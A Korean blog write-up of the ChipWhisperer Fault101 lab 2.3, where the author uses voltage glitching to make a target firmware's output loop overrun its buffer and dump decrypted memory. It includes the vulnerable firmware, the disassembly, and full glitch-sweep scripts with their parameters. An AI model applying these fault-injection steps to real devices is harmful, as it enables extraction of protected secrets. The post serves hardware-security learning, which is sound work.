graf

Fault2.3 Voltage Glitching to Memory Dump 본문

ChipWhisperer/GlitchingTutorial

Fault2.3 Voltage Glitching to Memory Dump

graf 2026. 4. 12. 12:24

1. 개요

Fault101의 마지막 내용이다. 

 

사실 이번에도 지난번과 내용이 같다. 

 

Fault1.3와 동일한 펌웨어를 대상으로 한다. 

이번엔 볼트 글리치를 활용해야한다. 

 

 

 

지난번처럼 상황에 대한 설명을 해준다. 

 

이번엔 이미 어떤 취약점이 존재하는지 다 알고 있으니 

그냥 지난번에 찾은 파라미터를 갖다 쓰라고 한다. 

 

Fault2.2 다시 할 때는 아무것도 모른다고 가정하고 처음부터 삽질했는데 

이렇게까지 말하니 그냥 이전 분석 자료를 참고해서 진행해야겠다. 

절대로 다시 탐색하는게 귀찮은게 아니다. 

 

 

 

그보다 베이스 코드가 이번에도 개똥같이 돼있다. 

이제 허스키는 아예 고려하지도 않는다. 

 

이게 한번에 멀쩡히 실행되는걸 본 적이 없다. 

그냥 다 지우고 다시 만들어서 쓰는게 낫겠다. 

 

 

2. 취약점 요약

지난번에 분석한 취약점을 다시 정리해보자. 

 

더보기
uint8_t ascii_buffer[ASCII_BUFLEN];
uint8_t data_buffer[DATA_BUFLEN];

#define IDLE 0
#define INPUT 1
#define RESPOND 2

int main(void)
{
    platform_init();
        init_uart();
        trigger_setup();

        /* Uncomment this to get a HELLO message for debug */
        // putch('h');
        // putch('e');
        // putch('l');
        // putch('l');
        // putch('o');
        // putch('\n');

        char c;
        char state = 0;
        uint8_t ascii_idx = 0;

        while(1){
                c = getch();

                if (c == 'x' || c == 'k')
                {
                        ascii_idx = 0;
                        state = IDLE;
                        continue;
                }

                else if (c == 'p')
                {
                        ascii_idx = 0;
                        state = INPUT;
                        continue;
                }

                else if (state == INPUT) {
                        if ((c == '\n') || (c == '\r')) {
                                // We received the final character - decode our string
                                hex_decode(ascii_idx, (char*)ascii_buffer, data_buffer);

                                // Decrypt data in-place
                                decrypt_data(data_buffer, DATA_BUFLEN);

                                // This is where we would write the image into memory

                                // Send back a positive response
                                ascii_idx = 0;
                                ascii_buffer[ascii_idx++] = 'r';
                                ascii_buffer[ascii_idx++] = '0';
                                ascii_buffer[ascii_idx++] = '\n';
                                ascii_buffer[ascii_idx++] = '\n';
                                ascii_buffer[ascii_idx++] = '\n';
                                ascii_buffer[ascii_idx++] = '\n';
                                ascii_buffer[ascii_idx++] = '\n';
                                ascii_buffer[ascii_idx++] = '\n';
                                state = RESPOND;
                        }
                        else if (ascii_idx >= ASCII_BUFLEN)
                        {
                                // We have nowhere to put this character - give up!
                                state = IDLE;
                        }
                        else
                        {
                                // Store the character in the buffer so we can use it later
                                ascii_buffer[ascii_idx++] = c;
                        }
                }


                if(state == RESPOND)
                {
                        // Send the ascii buffer back
                        trigger_high();

                        int i;
                        for(i = 0; i < ascii_idx; i++)
                        {
                                putch(ascii_buffer[i]);
                        }
                        trigger_low();
                        state = IDLE;
                }
        }

        return 1;
}

메인 함수는 ascii_buffer에 사용자 입력을 받아서 복호화 후 data_buffer에 넣는다. 

이후엔 ascii_buffer에 응답 데이터를 넣어서 출력한다. 

 

 

바이너리의 결함에는 두가지 원인이 있는데 

 

uint8_t ascii_buffer[ASCII_BUFLEN];
uint8_t data_buffer[DATA_BUFLEN];

 

첫번째는 두 버퍼가 연속 공간에 위치한다는 것이다. 

ascii_idx를 조작하는 것만으로 복호화된 데이터를 출력할 수 있다. 

 

 

 211             for(i = 0; i < ascii_idx; i++)
 212   4001be:   2400        movs    r4, #0
 213                 putch(ascii_buffer[i]);
 214   4001c0:   f816 0b01   ldrb.w  r0, [r6], #1
 215             for(i = 0; i < ascii_idx; i++)
 216   4001c4:   3401        adds    r4, #1
 217                 putch(ascii_buffer[i]);
 218   4001c6:   47c8        blx r9
 219             for(i = 0; i < ascii_idx; i++)
 220   4001c8:   2c08        cmp r4, #8
 221   4001ca:   d1f9        bne.n   4001c0 <main+0x6c>
 222             }

 

두번째는 이 부분이다. 

ascii_buffer로 응답 데이터를 출력할 때 컴파일러가 코드 최적화를 하면서 

ascii_idx는 상수 8로, 반복 조건은 등호로 바꿔버렸다. 

 

소프트웨어적으로 결함이 있다고 할 수는 없지만 

이런 코드는 강건성도 크게 떨어지고 결함 주입 관점에서도 매우 취약하다. 

 

결함 주입 등을 통해 i가 8을 넘어가게 하면 이후엔 브레이크가 안 걸린다. 

폴트가 날 때까지 모든 데이터를 출력할 것이다. 

 

 

3. 전력 분석

scope.clock.clkgen_src = "system"
scope.clock.adc_mul = 1
scope.adc.samples = 3000 * scope.clock.adc_mul
scope.adc.offset = 0 * scope.clock.adc_mul

 

샘플을 3천까지 잡았다. 

사실 천으로 먼저 해봤는데 트리거 카운트가 2천이 찍히길래 조금 늘렸다. 

 

 

reboot_flush()
scope.arm()
target.write("p516261276720736265747267206762206f686c207a76797821\n")
ret = scope.capture()
print(target.simpleserial_read_witherrors('r', 4, glitch_timeout=1, timeout=5))

print(scope.adc.trig_count)
cw.plot(scope.get_last_trace())

 

데이터 전송 후 응답을 받아왔다. 

 

 

valid는 False지만 이게 정상 응답이다. 

 

 

 

신호가 올라가있는 약 2천 클럭까지가 데이터가 출력되는 부분이다. 

 

이 안에서 i를 한번이라도 크게 올리거나 마지막 루프를 딱 한번만 더 돌게 한다면 

ascii_buffer를 초과하는 데이터가 출력될 것이다. 

 

 

4. 글리칭 주입

4.1 첫번째 시도

gc.set_range("offset", 1000, scope.glitch.phase_shift_steps)
gc.set_range("width", 1000, scope.glitch.phase_shift_steps//2)
gc.set_range("ext_offset", 2080, 2150)
gc.set_range("tries", 1, 1)

gc.set_global_step([1])
gc.set_step("offset", 100)
gc.set_step("width", 100)
gc.set_step("ext_offset", 1)
gc.set_step("tries", 1)

scope.glitch.repeat = 2

 

ext_offset은 지난번에 찾아놓은 값으로 가져왔다. 

어차피 offset과 width는 새로 찾아야한다. 

 

width를 100 단위로 뛰면 success가 나오는 부분을 건너뛸 가능성이 있지만 

리셋이 뜨기 시작하면 그 언저리가 글리치가 들어가기 시작하는 부분이라는 말이니 

step을 줄이고 다시 돌리면 금방 나올 거다. 

 

 

gc = cw.GlitchController(groups=["success", "reset", "normal", "unexpected"], parameters=["offset", "width", "ext_offset", "tries"])
gc.display_stats()
gc.glitch_plot(plotdots={"success":"+g", "reset":"xr", "normal":None, "unexpected":"*b"}, x_index="width", y_index="offset")

 

이번엔 결과 출력에 unexpected를 추가했다. 

지금은 글리치가 어디부터 만들어지는지 확인하는게 가장 중요하다. 

 

 

더보기
cw.set_all_log_levels(cw.logging.CRITICAL)
scope.adc.timeout = 0.2

broken = False
for glitch_setting in gc.glitch_values():
    scope.glitch.offset = glitch_setting[0]
    scope.glitch.width = glitch_setting[1]
    scope.glitch.ext_offset = glitch_setting[2]
    
    if scope.adc.state:
        print("Timeout, trigger still high!")
        print(f"offset: {scope.glitch.offset} width: {scope.glitch.width} ext_offset: {scope.glitch.ext_offset} ")
        gc.add("reset")
        reboot_flush()
        
    target.flush()
    scope.arm()
    target.write("p516261276720736265747267206762206f686c207a76797821\n")
    ret = scope.capture()
    
    if ret:
        print('Timeout - no trigger')
        print(f"offset: {scope.glitch.offset} width: {scope.glitch.width} ext_offset: {scope.glitch.ext_offset} ")
        gc.add("reset")
        reboot_flush()
    else:
        time.sleep(0.05)
        output = target.read(timeout=2)
        if b'r0\n\n\n\n\n\n' == output.encode():
            gc.add("normal")
        elif len(output.encode()) > 20:
            print("Glitched! Ext offset: {} Offset: {}Width: {}".format(scope.glitch.ext_offset, scope.glitch.offset, scope.glitch.width))
            gc.add("success")
            print(output.encode())
            time.sleep(1)
        else: 
            print(f"unexpected result: {output.encode()}")
            print(f"offset: {scope.glitch.offset} width: {scope.glitch.width} ext_offset: {scope.glitch.ext_offset} ")
            gc.add("unexpected")

cw.set_all_log_levels(cw.logging.WARNING)

글리치 코드 전문이다. 

 

 

 

unexpected가 많이 떴다. 

ext는 고르게 분포했고 width는 2100과 2200에서 발생했다. 

이번엔 offset은 큰 영향이 없던 것 같다. 

 

 

4.2 두번째 시도

gc.set_range("offset", 1000, scope.glitch.phase_shift_steps)
gc.set_range("width", 2000, 4000)
gc.set_range("ext_offset", 2080, 2150)
gc.set_range("tries", 1, 1)

gc.set_global_step([1])
gc.set_step("offset", 100)
gc.set_step("width", 100)
gc.set_step("ext_offset", 1)
gc.set_step("tries", 1)

scope.glitch.repeat = 2

 

width를 조금 더 늘렸다. 

이번엔 리셋을 잡아야한다.  

 

unexpected만 뜨는 지점은 글리치가 너무 약했다는 뜻이고 

reset만 뜨는 곳은 글리치가 너무 강했다는 말이다. 

두 지점을 모두 찾고 그 사이를 순회하는 것이 목적이다. 

 

 

 

width를 4천까지 넣어봤지만 리셋은 하나도 뜨지 않았다. 

 

 

결과는 이전과 큰 차이가 없다. 

width가 증가하니 오히려 normal만 발생했다. 

 

 

이제 고민을 해보자.

repeat을 늘릴까 hp를 both로 올릴까.. 

 

 

지난번엔 글리치가 너무 강한게 문제였고 지금은 너무 약한게 문제니 

이번엔 hp를 바꿔봐야겠다. 

 

 

4.3 세번째 시도

scope.vglitch_setup('both', default_setup=False)

 

파라미터는 그대로 두고 이것만 바꿨다. 

 

 

확실히 효과가 있다. 

이번엔 시작부터 언익스가 뜨고 있다. 

 

 

 

성공과 리셋이 모두 확인되서 멈췄다. 

 

 

모두 width가 3000 인근일 때 발생했다. 

오히려 width가 너무 커지니 아무것도 안 잡힌다. 

 

 

4.4 네번째 시도

이제 좀 익숙해졌는지 금방금방 진행이 된다. 

 

gc.set_range("offset", 1000, 1000)
gc.set_range("width", 2000, 4000)
gc.set_range("ext_offset", 2900, 3100)
gc.set_range("tries", 1, 1)

gc.set_global_step([1])
gc.set_step("offset", 100)
gc.set_step("width", 10)
gc.set_step("ext_offset", 1)
gc.set_step("tries", 1)

scope.glitch.repeat = 2

 

offset은 굳이 순회할 필요가 없을 것 같아서 고정했다. 

width는 3000 전후로 더 자세히 돌아보게 했다. 

 

gc.glitch_plot(plotdots={"success":"*g", "reset":"xr", "normal":None, "unexpected":"+b"}, x_index="width", y_index="ext_offset")

 

언익스 출력을 *로 하니 너무 눈에 띄는 것 같아서 success를 *로 바꿨다. 

offset을 고정해서 y축을 ext로 바꿨다. 

 

 

 

애매하다. 

글리치가 너무 강하기도 하고 너무 약하기도 하다. 

그리고 width가 너무 작거나 크면 normal만 나온다. 

 

 

 

리셋은 전부다 no trigger다. 

이건 높은 확률로 장치가 죽은 거라는 생각이 드는데, 

 

 

width가 작을 때 아무것도 안 뜨는건 그렇다 쳐도 

width가 너무 높아지면 왜 normal이 뜨는거지? 

오히려 리셋이 더 많이 나와야하지 않나? 

 

 

 

싶었는데 글리치가 안 들어가고 있었네.. 

last_trace를 뽑았는데 피크가 없다. 

중간부터 글리치 회로가 동작을 제대로 못 한거다. 

 

실수로 지난번에 만들어놨던 glitch error 예외처리를 추가를 안 했다. 

 

 

 

아니 근데 이게 문제가 아니라

내가 width가 아니라 ext를 바꿔놨었네??? 

아니 어쩐지 아까랑 결과가 왜 이렇게 차이가 나나 했더니! 

 

 

4.5 다섯번째 시도

gc.set_range("offset", 1000, 1000)
gc.set_range("width", 2950, 3050)
gc.set_range("ext_offset", 2080, 2150)
gc.set_range("tries", 1, 1)

gc.set_global_step([1])
gc.set_step("offset", 100)
gc.set_step("width", 10)
gc.set_step("ext_offset", 1)
gc.set_step("tries", 1)

scope.glitch.repeat = 2

 

나는 바보가 분명하다... 

이런것도 똑바로 확인을 못 하고.. 

 

다시 해보자. 

 

 

 

이번엔 성공이 꽤 많이 찍혔다. 

 

 

그래! 이거지! 

이게 내가 네번째 시도에서 나올거라고 기대했던 모습이었다. 

 

초반엔 언익스만 나오다가 뒤로 갈 수록 리셋이 많아지고 

중간중간 성공도 섞여있는 그래프다. 

 

 

 

이번엔 피크도 제대로 나왔다. 

 

 

 

복호화된 원문 추출도 성공했다. 

 

폴트 발생 지점 분석은 지난번과 동일하니 생략해야겠다. 

 

 

 

 

 

이렇게 Fault101은 끝났다. 

글리칭을 어떻게 접근해야 하는지는 어느정도 감을 잡은 것 같다. 

 

이제 내가 알고싶은건 실제 환경에서의 트리거 잡기와 글리치 회로 연결하기인데 

타겟 보드에서는 이게 다 세팅이 돼있어서 연습을 할 수가 없다. 

실제 제품을 대상으로 할 때는 트리거 잡기가 가장 어려운 부분이 될 거라고 예상하고 있다. 

 

그리고 멀티 글리치도 시도를 해보고싶은데 

이건 펌웨어를 내가 적절하게 만들어서 올려보던가 해야할 것 같다.